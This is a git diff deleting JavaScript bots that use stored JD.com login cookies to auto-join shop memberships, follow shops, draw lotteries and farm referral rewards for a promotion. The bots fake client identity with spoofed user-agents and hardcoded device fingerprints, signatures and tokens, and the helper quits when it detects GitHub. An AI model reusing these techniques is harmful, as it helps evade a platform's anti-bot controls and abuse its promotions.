== 1) await openCardStartDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await openCardStartDraw(2) - //关注 - await followShop(); - await getDrawRecordHasCoupon() - $.playItemId = '' - await getActorUuid() - $.log($.shareUuid) - if (i === 0 && $.actorUuid) { - $.shareUuid = $.actorUuid; - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -function openCardStartDraw(type) { - return new Promise(resolve => { - let body = `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&type=${type}` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.value || 0}京豆`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=dz210768869312&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - $.log("================== 你邀请了: " + data.data.length + " 个") - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function startDraw() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&actorUuid=${$.actorUuid}&change=3` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log('抽到了: ' + JSON.parse(data).data.name) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function followShop() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=23` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count == 0 && data.result == true){ - console.log(`关注获得:${data.data.sendBeans || 0}京豆`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data && data.data || ''); - } - }) - }) -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - - -function getWxCommonInfoToken () { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - - -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110`, - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Ffronth5%2F%3Flng%3D114.062541%26lat%3D29.541254%26sid%3D57b59835c68ed8959d124d644f61c58w%26un_area%3D4_48201_54794_0%23%2Fpages%2Feight-brands%2Feight-brands%22%7D&', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Referer':'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - -function getMyPing() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=1000377786&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getHtml() { - //await $.wait(20) - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=1000377786&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869312&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, - body: `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent`, - body: `activityId=dz210768869312&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':'https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data); - $.gameTimes = data.data.gameTimes || 0 - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data.actorUuid); - } - }) - }) -} - - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Host": "lzdz1-isv.isvjcloud.com", - "Accept": "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "Connection": "keep-alive", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.8;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_olympic_opencard2.js b/backUp/gua_olympic_opencard2.js deleted file mode 100644 index 671d751..0000000 --- a/backUp/gua_olympic_opencard2.js +++ /dev/null @@ -1,634 +0,0 @@ -/* -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -邀请一人有几率奖励30豆 先到先得(不是邀请就都有豆的 - -入口 - -https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=24f69db39f424a26b13708e0bdf56c76 - -============Quantumultx=============== -[task_local] -#7.31-8.10 全民奥运 激情奔跑 -30 0,8 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_olympic_opencard2.js, tag=7.31-8.10 全民奥运 激情奔跑, enabled=true - -================Loon============== -[Script] -cron "30 0,8 * * *" script-path=gua_olympic_opencard2.js,tag=7.31-8.10 全民奥运 激情奔跑 - -===============Surge================= -7.31-8.10 全民奥运 激情奔跑 = type=cron,cronexp="30 0,8 * * *",wake-system=1,timeout=3600,script-path=gua_olympic_opencard2.js - -============小火箭========= -7.31-8.10 全民奥运 激情奔跑 = type=cron,script-path=gua_olympic_opencard2.js, cronexpr="30 0,8 * * *", timeout=3600, enable=true -*/ -const $ = new Env('7.31-8.10 全民奥运 激情奔跑'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if 